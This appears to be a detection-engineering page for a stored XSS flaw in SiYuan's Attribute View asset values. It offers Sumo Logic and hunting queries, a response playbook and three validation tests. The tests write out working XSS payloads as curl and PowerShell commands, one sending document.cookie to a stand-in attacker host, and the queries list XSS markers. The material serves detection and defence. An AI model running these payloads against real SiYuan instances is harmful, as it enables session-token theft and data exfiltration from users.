Detect SiYuan Stored XSS in Attribute View Asset Values (CVE-2026-130679) in Sumo Logic CSE
Detects exploitation and presence of CVE-2026-130679, a stored cross-site scripting (XSS) vulnerability in SiYuan note-taking application versions before 3.8.10. The flaw resides in the genAVValueHTML() function, which renders Attribute View (AV) asset values without adequate output encoding. An attacker who can store asset values in an Attribute View (e.g., via shared workspaces, imported documents, or API access) can inject malicious HTML/JavaScript that executes in the context of other users' SiYuan sessions when the attribute view is rendered. Because SiYuan runs as a local-first application with a kernel exposing an HTTP API (default port 6806), successful XSS can lead to workspace data theft, session token exfiltration, and abuse of local kernel API endpoints. In the desktop app the injected handler can run operating system commands through Node.js. Detection focuses on script-bearing payloads in AV asset value fields, suspicious kernel API requests persisting attribute view values, and outbound beaconing from the SiYuan renderer.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
// df00tech DF00-a90df7161b · https://df00tech.com/detections/CVE-2026-130679 · licence: https://df00tech.com/detections/licence
_sourceCategory=*proxy* OR _sourceCategory=*web*
| where (uri_path matches "*/api/av/*" or uri_path matches "*setAttributeViewBlockAttr*" or uri_path matches "*addAttributeViewBlocks*" or uri_path matches "*setDatabaseBlockDataView*")
| toLowerCase(concat(coalesce(uri_query,""), " ", coalesce(request_body,""))) as payload
| where payload matches "*<script*" or payload matches "*javascript:*" or payload matches "*onerror=*" or payload matches "*onload=*" or payload matches "*document.cookie*" or payload matches "*<svg*" or payload matches "*<iframe*"
| count by src_ip, dest_ip, uri_path
| sort by _count desc Sumo Logic search over proxy and web logs for SiYuan Attribute View API requests containing XSS payload patterns, detecting attempts to persist malicious asset values under CVE-2026-130679.
Data Sources
Required Tables
False Positives & Tuning
- Users intentionally storing HTML or script examples in attribute views.
- Authorized scanning or red-team activity.
- Document import/sync replaying content with markup.
Other platforms for CVE-2026-130679
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Store script-tag XSS payload in SiYuan Attribute View asset value
Expected signal: HTTP POST to /api/av/setAttributeViewBlockAttr on port 6806 with a request body containing '<script>' and 'document.cookie'.
- Test 2 Store img onerror event-handler XSS payload
Expected signal: HTTP POST to /api/av/addAttributeViewBlocks on port 6806 whose body contains '<img' and 'onerror='.
- Test 3 Store svg-based XSS payload via PowerShell
Expected signal: HTTP POST to /api/av/setDatabaseBlockDataView on port 6806 with body containing '<svg' and 'onload='.
Response Playbook
Triage
- Confirm the SiYuan version in use on affected hosts. Any version before 3.8.10 is vulnerable to CVE-2026-130679; check the kernel 'About' panel or the version string returned by GET /api/system/version on port 6806.
- Extract the suspicious Attribute View payload from the flagged request body or stored workspace data and inspect it for executable markup (<script>, event handlers like onerror/onload, javascript: URIs, document.cookie access).
- Identify who stored the malicious asset value and which users have since rendered the affected attribute view (and therefore may have executed the payload).
- Determine whether the SiYuan kernel API (port 6806) is network-exposed beyond localhost, which broadens the attacker population who could store values remotely.
Containment
- Upgrade all SiYuan instances to version 3.8.10 or later, which patches genAVValueHTML() output encoding (commit 3f4a2ca741411ebf0908ef1b7b86500a4ef4c20c).
- Quarantine or sanitize the affected workspace/attribute view by removing the malicious asset value before other users render it; restrict the kernel API to loopback or behind authenticated proxy until patched.
- Invalidate and rotate any SiYuan session/access tokens that may have been exfiltrated via the XSS payload.
Evidence Collection
- Preserve the raw HTTP request(s) that stored the payload, including full body, source IP, timestamp, and authenticated user context.
- Capture the affected SiYuan workspace data store (the .siyuan/ data directory and attribute view JSON) and a copy of the stored malicious value for forensic analysis.
- Collect proxy/WAF and renderer host logs showing any outbound connections initiated after the attribute view was rendered (potential beaconing/exfiltration).
Escalation Criteria
- !Escalate to incident response if the payload successfully exfiltrated session tokens, cookies, or workspace contents, or if outbound C2/beacon traffic from a renderer host is observed.
- !Escalate if the SiYuan kernel API was found exposed to untrusted networks, as this indicates a broader exposure requiring architecture-level remediation.
- !Escalate if the malicious value was propagated across shared or synced workspaces, multiplying the number of potential victim users.
Investigation Guide
Forensic Artifacts
- >
SiYuan workspace data directory (data/ and .siyuan/) containing stored attribute view JSON with the injected markup. - >
Kernel HTTP access logs on port 6806 recording the storing request. - >
Browser/renderer cache and any outbound network connection records created when the payload executed.
Tuning Guidance
Baseline legitimate attribute view content in your environment first, technical teams storing code snippets or documentation about HTML/JS will generate benign angle-bracket and event-handler matches. Tighten the regex toward combined indicators (e.g., <img or <svg adjacent to onerror=/onload=, or document.cookie/fetch within a <script>) to reduce noise. Where the kernel API is strictly localhost-only, scope detection to loopback-origin or proxy-fronted requests. If HTTP body capture is unavailable, rely on URL-based matches and the version-presence check, accepting lower exploitation visibility.
Hunting Queries
Hunts for any SiYuan Attribute View API requests carrying script-injection markers across historical proxy/web logs to find stored XSS attempts that predate detection deployment.
// df00tech DF00-a90df7161b · https://df00tech.com/detections/CVE-2026-130679 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/api/av" | where tolower(csUriQuery) has_any ("<script","onerror=","javascript:","document.cookie","<svg","<iframe") | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h) ``` df00tech DF00-a90df7161b · https://df00tech.com/detections/CVE-2026-130679 · licence: https://df00tech.com/detections/licence ```
index=proxy (uri_path="*/api/av/*") | eval p=lower(request_body) | where match(p,"(<script|onerror=|javascript:|document\.cookie|<svg|<iframe)") | stats count by src_ip, uri_path Atomic Red Team Tests
Simulates an attacker storing a classic <script> payload in an attribute view asset value via the SiYuan kernel API, which genAVValueHTML() would render unencoded on vulnerable versions.
Command
curl -s -X POST 'http://127.0.0.1:6806/api/av/setAttributeViewBlockAttr' -H 'Content-Type: application/json' -d '{"avID":"test-av","keyID":"asset","rowID":"r1","value":{"mAsset":[{"type":"file","name":"<script>fetch(\"http://attacker.example/c?\"+document.cookie)</script>","content":"a.png"}]}}' Cleanup
curl -s -X POST 'http://127.0.0.1:6806/api/av/setAttributeViewBlockAttr' -H 'Content-Type: application/json' -d '{"avID":"test-av","keyID":"asset","rowID":"r1","value":{"mAsset":[]}}' Expected Telemetry
HTTP POST to /api/av/setAttributeViewBlockAttr on port 6806 with a request body containing '<script>' and 'document.cookie'.
Expected Detection
The kql/spl/elastic_eql/qradar_aql/sumo_logic/chronicle_yaral/crowdstrike_cql queries match the request body XSS markers against the AV endpoint.
Stores an <img onerror=> handler payload in an attribute view value, a common filter-bypass variant of stored XSS for CVE-2026-130679.
Command
curl -s -X POST 'http://127.0.0.1:6806/api/av/addAttributeViewBlocks' -H 'Content-Type: application/json' -d '{"avID":"test-av","blocksValues":[[{"value":{"mAsset":[{"type":"file","name":"<img src=x onerror=alert(document.domain)>","content":"x"}]}}]]}' Cleanup
echo 'Remove the test block via the SiYuan UI or delete the test-av attribute view data directory entry.' Expected Telemetry
HTTP POST to /api/av/addAttributeViewBlocks on port 6806 whose body contains '<img' and 'onerror='.
Expected Detection
Queries match the '<img ... onerror=' body pattern against the AV endpoint.
Windows-host simulation of storing an SVG-wrapped script payload in a SiYuan attribute view, exercising detection on Windows renderer deployments.
Command
powershell -NoProfile -Command "Invoke-RestMethod -Method Post -Uri 'http://127.0.0.1:6806/api/av/setDatabaseBlockDataView' -ContentType 'application/json' -Body '{\"avID\":\"test-av\",\"value\":{\"mAsset\":[{\"type\":\"file\",\"name\":\"<svg/onload=fetch(String.fromCharCode(47))>\",\"content\":\"s\"}]}}'" Cleanup
powershell -NoProfile -Command "Invoke-RestMethod -Method Post -Uri 'http://127.0.0.1:6806/api/av/setDatabaseBlockDataView' -ContentType 'application/json' -Body '{\"avID\":\"test-av\",\"value\":{\"mAsset\":[]}}'" Expected Telemetry
HTTP POST to /api/av/setDatabaseBlockDataView on port 6806 with body containing '<svg' and 'onload='.
Expected Detection
Queries match the '<svg ... onload=' body pattern against the AV endpoint.